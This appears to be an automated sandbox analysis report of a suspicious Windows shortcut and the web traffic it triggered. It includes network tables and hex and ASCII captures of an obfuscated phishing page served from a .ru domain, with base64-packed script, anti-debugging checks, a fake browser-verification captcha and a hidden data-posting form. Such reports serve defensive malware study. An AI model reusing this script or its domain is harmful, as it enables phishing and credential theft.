File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 22:35:38 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9756578618087195
Encrypted:	false
SSDEEP:	48:8KdITsUQHlidAKZdA19ehwiZUklqeh2y+3:89PiBy
MD5:	A5BC0129C97CF8C9632094BCCE15E64F
SHA1:	669F823220227B62D48B8CDF8DB41FF2BC2D18EC
SHA-256:	31E73256DD964E8D4556B3A3EA5ED82D8CE05459FA5942A42FB6504BC116A095
SHA-512:	6B67FEB9FCC97348828A3D5C422F3A92058630D9612CAB1BF99BC8A543016B9BC95DEF05313A42B8BB003CDDDF8D312409FB2DDE5AF4AEC410EF020E4D58D72E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......V.7S..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yr.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yr.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yr.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yr............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yt............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\|..U.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 00:35:37.893359900 CET	53	52826	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:38.012492895 CET	53	54422	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:40.631755114 CET	53	57406	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:42.170589924 CET	55111	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:42.170728922 CET	56717	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:42.309104919 CET	53	55111	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:42.309142113 CET	53	56717	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:43.767750978 CET	49244	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:43.768033981 CET	53025	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:44.216722012 CET	53	49244	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:44.217327118 CET	53	53025	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:47.924654961 CET	63607	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:47.924906969 CET	50316	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:47.925534010 CET	58429	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:47.925720930 CET	63349	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:47.930690050 CET	52846	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:47.930879116 CET	60528	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:48.061824083 CET	53	50316	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:48.062686920 CET	53	63349	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:48.063071966 CET	53	58429	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:48.067673922 CET	53	52846	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:48.067814112 CET	53	60528	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:48.128957033 CET	53	63607	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:50.208965063 CET	52324	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:50.209130049 CET	51325	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:50.300762892 CET	56206	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:50.300923109 CET	57097	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:50.345719099 CET	53	51325	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:50.346570015 CET	53	52324	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:50.437506914 CET	53	56206	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:50.437721968 CET	53	57097	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:51.772715092 CET	51493	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:51.772999048 CET	53977	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:51.816859007 CET	63019	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:51.817023993 CET	64403	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:51.910507917 CET	53	51493	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:51.930699110 CET	53	53977	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:51.953988075 CET	53	64403	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:51.955388069 CET	53	63019	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:56.621243000 CET	60343	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:56.621481895 CET	49728	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:35:56.758347988 CET	53	60343	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:56.758507013 CET	53	49728	1.1.1.1	192.168.2.5
Dec 21, 2024 00:35:57.716958046 CET	53	55880	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:09.408395052 CET	58967	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:09.408521891 CET	58987	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:10.022398949 CET	53	58987	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:10.022460938 CET	53	58967	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:13.572352886 CET	58773	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:13.572513103 CET	50804	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:13.710129976 CET	53	58773	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:13.710599899 CET	53	50804	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:16.415699959 CET	53	59315	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:37.541229963 CET	53	60106	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:39.070631027 CET	65372	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:39.070776939 CET	62072	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:39.117603064 CET	53	58143	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:39.603418112 CET	52759	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:39.603574038 CET	56948	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:39.997468948 CET	53	56948	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:42.470187902 CET	51026	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:42.470331907 CET	60538	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:42.609128952 CET	53	60538	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:48.467191935 CET	64746	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:48.467325926 CET	53542	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:48.608630896 CET	53	64746	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:48.775300980 CET	53	53542	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:50.988327026 CET	58321	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:50.988447905 CET	63481	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:51.042119026 CET	52660	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:51.042282104 CET	53002	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:53.015228033 CET	53069	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:53.015364885 CET	52079	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:54.098635912 CET	61015	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:54.098781109 CET	51448	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:54.444736004 CET	60601	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:54.444935083 CET	52775	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:54.698725939 CET	53	52775	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:55.466448069 CET	51628	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:55.466793060 CET	64838	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:56.726860046 CET	57210	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:56.726994038 CET	61058	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:57.313318014 CET	52609	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:57.313469887 CET	50851	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:57.452897072 CET	53	50851	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:58.418044090 CET	53913	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:58.418174028 CET	55597	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:59.088337898 CET	54573	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:59.088517904 CET	50424	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:59.768052101 CET	54987	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:59.768237114 CET	64433	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:36:59.906470060 CET	53	54987	1.1.1.1	192.168.2.5
Dec 21, 2024 00:36:59.906842947 CET	53	64433	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:00.947830915 CET	64498	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:00.947954893 CET	53476	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:00.951617002 CET	57870	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:00.951756954 CET	59205	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.163264036 CET	53	53476	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:01.461710930 CET	53	57870	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:01.461903095 CET	53	59205	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:01.841609955 CET	54341	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.841783047 CET	62649	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.846482038 CET	63609	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.846667051 CET	62665	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.868729115 CET	55731	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:01.868856907 CET	59133	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:02.005847931 CET	53	55731	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.006975889 CET	53	59133	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.101543903 CET	53	63609	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.116769075 CET	53	62665	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.499806881 CET	50364	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:02.499924898 CET	56349	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:02.577632904 CET	53	62649	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.577881098 CET	53	54341	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:02.825388908 CET	53	56349	1.1.1.1	192.168.2.5
Dec 21, 2024 00:37:03.461698055 CET	62754	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:03.461798906 CET	51048	53	192.168.2.5	1.1.1.1
Dec 21, 2024 00:37:03.599127054 CET	53	51048	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 21, 2024 00:35:38.012625933 CET	192.168.2.5	1.1.1.1	c21c	(Port unreachable)	Destination Unreachable
Dec 21, 2024 00:36:39.606113911 CET	192.168.2.5	1.1.1.1	c285	(Port unreachable)	Destination Unreachable
Dec 21, 2024 00:36:48.775408030 CET	192.168.2.5	1.1.1.1	c230	(Port unreachable)	Destination Unreachable
Dec 21, 2024 00:36:51.457643032 CET	192.168.2.5	1.1.1.1	c2c2	(Port unreachable)	Destination Unreachable
Dec 21, 2024 00:37:01.569124937 CET	192.168.2.5	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable
Dec 21, 2024 00:37:02.825455904 CET	192.168.2.5	1.1.1.1	c253	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:46 UTC	696	OUT	GET /HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ HTTP/1.1 Host: gadk.quantumdhub.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:47 UTC	1242	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5vnMFFoZWzRW1CVMIxXwrShrfN6CNNIyoCbUU1Rwx1FdN2bksJi%2BEkBVERpnGQq2e%2Bu0zbnSi365Rqt0y%2F0M7iB0NWg9xQ9G90zGDU2wqZlvnF4ZudMDAhpqW6uzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1119&min_rtt=1113&rtt_var=326&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1574&delivery_rate=2492254&cwnd=232&unsent_bytes=0&cid=811d908f1bbc78f0&ts=150&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InZpRlNVMjlYSm9ZcXFqbWpXVGtFWlE9PSIsInZhbHVlIjoieXoxNG9xYWtqcGRDUkZOMXFtT1hZZTFRZjNXM0RxU3Y2WUIxUHpCV0NKTThnQ09ML3hqcjRnRXd2QndiU1Y3K0xvQjlXVlFsZFcxckE4bnMvQnVMTHhOVXl3aWgzV1VicjgrQzhIWG9lNUEzTVRUajlJOXYyNHlhblhKM1drTUwiLCJtYWMiOiJjNDE2Mzk2NmI4MTJmZjNlMzY0MTkyYWIzZWExNTBlOTZiYTlmMDkzNjcxODkzNWEwNDM3MTE2ZWQyNWEzMWU0IiwidGFnIjoiIn0%3D; expires=Sat, 21-Dec-2024 01:35:47 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-20 23:35:47 UTC	733	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 46 4a 53 32 78 52 53 6c 4e 34 56 56 5a 4c 64 58 52 43 63 30 70 4f 59 6b 35 56 5a 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 7a 6c 68 51 6b 78 4e 56 33 46 36 4f 56 64 48 57 44 5a 36 5a 45 39 4c 4f 54 56 57 63 6e 5a 4f 52 6d 78 54 4f 56 42 71 51 30 6b 78 65 58 6b 7a 64 6d 35 78 5a 30 56 6d 65 58 68 43 4e 6c 5a 44 4d 55 35 72 4d 43 39 7a 55 6d 46 73 59 31 63 77 4e 58 56 4d 55 6c 46 7a 4b 33 6b 79 4e 54 4a 51 5a 47 4e 47 4e 46 49 76 4b 33 68 45 62 58 64 43 62 6e 56 30 4d 54 56 46 56 30 4a 73 61 6b 5a 53 54 54 4e 30 64 31 4a 58 62 6d 74 6d 54 44 42 75 62 31 52 50 63 33 46 36 4f 57 31 30 62 30 77 33 63 32 74 70 63 55 35 51 63 6e 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjFJS2xRSlN4VVZLdXRCc0pOYk5VZnc9PSIsInZhbHVlIjoiazlhQkxNV3F6OVdHWDZ6ZE9LOTVWcnZORmxTOVBqQ0kxeXkzdm5xZ0VmeXhCNlZDMU5rMC9zUmFsY1cwNXVMUlFzK3kyNTJQZGNGNFIvK3hEbXdCbnV0MTVFV0JsakZSTTN0d1JXbmtmTDBub1RPc3F6OW10b0w3c2tpcU5Qcnc
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 34 65 30 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 54 68 65 20 72 6f 61 64 20 74 6f 20 73 75 63 63 65 73 73 20 61 6e 64 20 74 68 65 20 72 6f 61 64 20 74 6f 20 66 61 69 6c 75 72 65 20 61 72 65 20 61 6c 6d 6f 73 74 20 65 78 61 63 74 6c 79 20 74 68 65 20 73 61 6d 65 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 7a 55 79 35 78 64 57 46 75 64 48 56 74 5a 47 68 31 59 69 35 79 64 53 39 49 57 44 68 6f 61 55 78 51 59 57 52 68 65 6a 46 4f 4e 31 64 79 62 48 52 77 55 47 70 49 5a 7a 4d 30 63 56 38 79 51 7a 6b 34 61 57 63 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 Data Ascii: 4e02<script>/* The road to success and the road to failure are almost exactly the same. */if(atob("aHR0cHM6Ly9zUy5xdWFudHVtZGh1Yi5ydS9IWDhoaUxQYWRhejFON1dybHRwUGpIZzM0cV8yQzk4aWcv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFE
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 33 68 4f 57 6b 35 59 57 47 70 48 54 45 73 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 59 7a 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 56 6d 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 62 57 46 79 5a Data Ascii: 10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3hOWk5YWGpHTEsuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTYzcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 Data Ascii: 2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZX
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 33 52 55 35 77 52 55 31 71 59 6b 70 6d 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 33 52 55 35 77 52 55 31 71 59 6b 70 6d 49 43 30 67 51 6e 4e 77 53 55 5a 6b 57 6c 46 6a 52 69 41 2b 49 45 52 6c 65 45 46 48 59 56 52 6a 51 6b 38 67 4a 69 59 67 49 55 56 54 61 56 6c 4f 61 6d 5a 7a 62 6c 63 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 70 44 56 33 6c 5a 65 45 68 54 54 58 59 67 50 53 42 30 63 6e 56 6c 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 Data Ascii: bWFuY2Uubm93KCk7DQogICAgICAgIGRlYnVnZ2VyOw0KICAgICAgICBjb25zdCB3RU5wRU1qYkpmID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmICh3RU5wRU1qYkpmIC0gQnNwSUZkWlFjRiA+IERleEFHYVRjQk8gJiYgIUVTaVlOamZzblcpIHsNCiAgICAgICAgICAgIHpDV3lZeEhTTXYgPSB0cnVlOw0KICAgICAgICAgICA
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 61 47 68 6e 57 6e 56 76 54 58 4a 31 59 79 49 2b 44 51 70 57 5a 58 4a 70 5a 6e 6c 70 62 6d 63 67 65 57 39 31 63 69 42 69 63 6d 39 33 63 32 56 79 49 48 52 76 49 47 56 75 63 33 56 79 5a 53 42 68 49 48 4e 6c 59 33 56 79 5a 53 42 76 62 6d 78 70 62 6d 55 67 5a 58 68 77 5a 58 4a 70 5a 57 35 6a 5a 53 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6d Data Ascii: HV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0iaGhnWnVvTXJ1YyI+DQpWZXJpZnlpbmcgeW91ciBicm93c2VyIHRvIGVuc3VyZSBhIHNlY3VyZSBvbmxpbmUgZXhwZXJpZW5jZS4NCjwvZGl2Pg0KPC9m
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 41 67 49 43 41 67 49 43 41 67 62 57 56 30 61 47 39 6b 4f 69 41 69 55 45 39 54 56 43 49 73 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 6a 52 6d 70 6c 57 48 42 53 55 32 6c 55 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a 33 4e 30 59 58 52 31 63 79 64 64 49 44 30 39 49 43 64 7a 64 57 4e 6a 5a 58 4e 7a 4a 79 6c 37 44 51 6f 67 49 Data Ascii: AgICAgICAgbWV0aG9kOiAiUE9TVCIsDQogICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YShjRmplWHBSU2lUKQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ3N0YXR1cyddID09ICdzdWNjZXNzJyl7DQogI
2024-12-20 23:35:47 UTC	1369	IN	Data Raw: 20 54 5a 63 61 4b 75 73 72 6e 6b 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 42 6f 6f 54 77 70 79 6d 58 64 20 3f 20 54 5a 63 61 4b 75 73 72 6e 6b 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 54 5a 63 61 4b 75 73 72 6e 6b 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 69 6e 20 77 68 61 74 20 79 6f 75 20 68 61 76 65 2c 20 62 75 74 20 77 68 6f 20 79 6f 75 20 61 72 65 2e 20 2a 2f 0d 0a 69 66 28 64 79 48 49 55 78 42 42 62 67 20 3d 3d 20 42 6f 6f 54 77 70 79 6d 58 64 29 7b 0d 0a 63 6f 6e 73 74 20 7a 4b 74 64 42 49 65 59 76 43 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 Data Ascii: TZcaKusrnk.hostname === BooTwpymXd ? TZcaKusrnk.hostname : TZcaKusrnk.hostname.split('.').slice(-2).join('.');/* Success is not in what you have, but who you are. */if(dyHIUxBBbg == BooTwpymXd){const zKtdBIeYvC = window.location.pathname.split('%23
